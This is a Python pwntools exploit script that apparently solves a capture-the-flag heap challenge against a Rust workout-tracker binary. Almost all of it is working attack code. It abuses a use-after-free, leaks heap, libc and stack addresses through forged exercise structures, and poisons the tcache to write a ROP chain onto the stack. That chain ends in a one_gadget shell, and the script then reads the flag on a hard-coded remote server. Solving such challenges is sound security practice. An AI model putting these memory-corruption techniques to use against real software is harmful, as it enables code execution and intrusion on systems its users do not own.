solve.py (7101B)
1from os import kill 2from signal import SIGKILL 3from pwn import * 4from ast import literal_eval 5from pwnlib.gdb import psutil 6 7 8def add_exercise(io, name, description): 9 io.readuntil(b"Choose an option: ") 10 io.sendline(b"1") 11 io.readuntil(b"What's the name") 12 io.sendline(name) 13 io.readuntil(b"what is the description") 14 io.sendline(description) 15 16 17def add_workout(io, exercises): 18 io.readuntil(b"Choose an option: ") 19 io.sendline(b"2") 20 io.readuntil(b"How many exercises") 21 io.sendline(str(len(exercises)).encode()) 22 for name,count in exercises: 23 io.readuntil(b"Enter the name") 24 io.sendline(name) 25 io.readuntil(b"How many times") 26 io.sendline(str(count).encode()) 27 io.readuntil(b"Your workout has id ") 28 return int(io.readline()) 29 30 31def show_workout(io, wid): 32 io.readuntil(b"Choose an option: ") 33 io.sendline(b"3") 34 io.readuntil(b"what's the id of your workout? \n") 35 io.sendline(str(wid).encode()) 36 exercises = [] 37 while True: 38 line = io.readline() 39 if b" - " not in line: 40 io.unrecv(line) 41 break 42 parts = line.decode().strip().split(" - ") 43 name, description = map(bytes, map(literal_eval, parts)) 44 exercises.append((name, description)) 45 return exercises 46 47 48def edit_exercise(io, name, description): 49 io.readuntil(b"Choose an option: ") 50 io.sendline(b"4") 51 io.readuntil(b"Enter the name") 52 io.sendline(name) 53 io.readuntil(b"Enter the new description") 54 io.sendline(description) 55 56 57def bp(io): 58 io.readuntil(b"Choose an option: ") 59 io.sendline(b"break") 60 io.unread(io.readuntil(b"Choose")) 61 62 63def leave(io): 64 io.readuntil(b"Choose an option: ") 65 io.sendline(b"5") 66 io.close() 67 68 69def unmask(p): 70 for o in range(48, 0, -12): 71 p ^= ((p >> o) & 0xfff) << (o - 12) 72 return p 73 74 75def run(): 76 attach_pid = None 77 if args.REMOTE: 78 io = remote("162.55.187.21", 1024) 79 elif args.DOCKER: 80 io = remote("localhost", 1024) 81 if args.ATTACH: 82 io.unread(io.readuntil(b"Choose")) 83 pid = next(p.pid for p in psutil.process_iter() if p.cmdline() == ["/chall"]) 84 attach_pid = run_in_new_terminal(f"sudo nsenter -t {pid} -a sh -c \"rustup run nightly-2024-09-09 rust-gdb -p \\$(pidof chall) -ex 'directory /source' -ex 'b src/main.rs:126' -ex 'c'\"", kill_at_exit=False) 85 input() 86 else: 87 io = process("./exe") 88 if args.ATTACH: 89 io.unread(io.readuntil(b"Choose")) 90 attach_pid = run_in_new_terminal(f"rustup run nightly-2024-09-09 rust-gdb -ex 'file exe' -ex 'b src/main.rs:126' -ex 'c' -p {io.proc.pid}", kill_at_exit=False) 91 sleep(3) 92 93 # structure sizes and layouts: 94 # - vec: 0x18 size (cap | ptr | len) 95 # - rc<excercise>: 0x40 size (strong | weak | name_vec | desc_vec) 96 # - repeat_n: 0x10 size (ptr | count) 97 # - workout: 0x18 size (vec) 98 99 # vec defaults to cap = 4, as such: 100 # - vec<repeat_n>.inner.ptr: 0x10 * 4 = 0x40 101 # - vec<workout>.inner.ptr: 0x18 * 4 = 0x60 102 103 print("START") 104 105 # setup UAF for rc<excercise> 106 add_exercise(io, b"0", b"A") 107 old = add_workout(io, [(b"0", 0)]) 108 add_exercise(io, b"0", b"B") 109 110 # add workout (vec<repeat_n>), this fills UAF chunk (same size 0x40). 111 # later, because of repeat_n layout, we can increment repeat_n pointer by 112 # incrementing the old rc<excercise> via UAF. 113 new = add_workout(io, [(b"0", 1)]) 114 115 # to leak libc we create a new excercise and free it.. 116 add_exercise(io, b"1" * 0x10, b"C" * 0x40) # 0x40 important later for fake excercise 117 add_exercise(io, b"1" * 0x10, b"D") 118 119 # ..then we point the old repeat pointer to the newly freed excercise. 120 # the excercise's name and description vec are still valid because 121 # insert returns the old value so old exercise is dropped / freed last. 122 for i in range(0x50 + 0x50): 123 show_workout(io, old) 124 125 # show_workout now gives the fd_ptr field of both free'd name and 126 # description chunks of the new exercise, thereby leaking heap aslr. 127 name, _ = show_workout(io, new)[0] 128 heap_leak = u64(name[:8]) 129 tcache_key = name[8:16] 130 heap_base = (unmask(heap_leak) & ~0xfff) - 0x3000 131 print("HEAP", hex(heap_base)) 132 133 # now that we know heap_base, we can replace the freed excercise with 134 # a fake one and use show_workout to do arbitrary read. 135 136 # first we leak libc.. 137 fake = p64(1) + p64(1) # strong and weak count 138 fake += p64(0x8) + p64(heap_base + 0x308) + p64(0x8) # name vec 139 fake += p64(0x8) + p64(heap_base + 0x308) + p64(0x8) # desc vec 140 add_exercise(io, b"2", fake) 141 libc_leak = u64(show_workout(io, new)[0][0][:8]) 142 libc_base = (libc_leak & ~0xfff) - 0x204000 143 print("LIBC", hex(libc_base)) 144 145 # reshuffle tcache 146 add_exercise(io, b"2", b"E") 147 add_exercise(io, b"2", b"E" * 0x40) 148 add_exercise(io, b"2", b"E") 149 150 # ..then we leak stack. 151 fake = p64(1) + p64(1) # strong and weak count 152 fake += p64(0x8) + p64(libc_base - 0x3000 + 0xa80) + p64(0x8) # name vec 153 fake += p64(0x8) + p64(libc_base - 0x3000 + 0xa80) + p64(0x8) # desc vec 154 add_exercise(io, b"2", fake) 155 stack_leak = u64(show_workout(io, new)[0][0][:8]) 156 print("STACK LEAK", hex(stack_leak)) 157 158 # setup another UAF for rc<excercise>. here we craft a fake free chunk 159 # to perform tcache poisoning and write our rop gadget onto the stack. 160 # after the UAF excercise is fully dropped by replacing it in the btree, 161 # the freed exercise chunk is first in the tcache bin (0x50) and the bin 162 # has more than 2 entries, allowing us to fake the third entry. 163 # (we actually need this to generate exactly 3 tcache entries because 164 # we always need an exercise chunk (0x50) last and if we have > 3 the 165 # last fd ptr will not be valid) 166 one_gadget = libc_base + 0xef4ce 167 rop_clear_rbx = libc_base + 0x586d4 168 rop_clear_r12 = libc_base + 0x110951 169 ret_addr = stack_leak - 0xa00 170 fd_addr = heap_base + 0x3270 171 fd_dest = heap_base + 0x31d0 172 fake = b"3" * 0x10 + p64(ret_addr ^ ((fd_dest + 0x10) >> 12)) + tcache_key 173 fake += b"3" * (0x40 - len(fake)) 174 add_exercise(io, fake, b"G") 175 final = add_workout(io, [(fake, 0)]) 176 add_exercise(io, fake, b"G") 177 178 # use increment to change fd pointer to fake chunk. 179 fd_curr = fd_dest ^ (fd_addr >> 12) 180 fd_next = (fd_dest + 0x10) ^ (fd_addr >> 12) 181 print("FD", hex(fd_curr), hex(fd_next)) 182 if fd_next < fd_curr: 183 io.close() 184 if attach_pid is not None: 185 kill(attach_pid, SIGKILL) 186 sleep(1) 187 return False 188 for i in range(fd_curr, fd_next): 189 show_workout(io, final) 190 add_exercise(io, b"4", b"H" * 0x40) # consume first two 0x50 chunks 191 bp(io) 192 rop = p64(0) + p64(rop_clear_r12) + p64(0) + p64(rop_clear_rbx) + p64(0) + p64(one_gadget) 193 rop += (0x40 - len(rop)) * b"I" 194 assert b"\n" not in rop 195 add_exercise(io, b"5", rop) 196 197 io.sendline(b"cat flag.txt") 198 199 io.interactive() 200 201 return True 202 203 204while not run(): 205 pass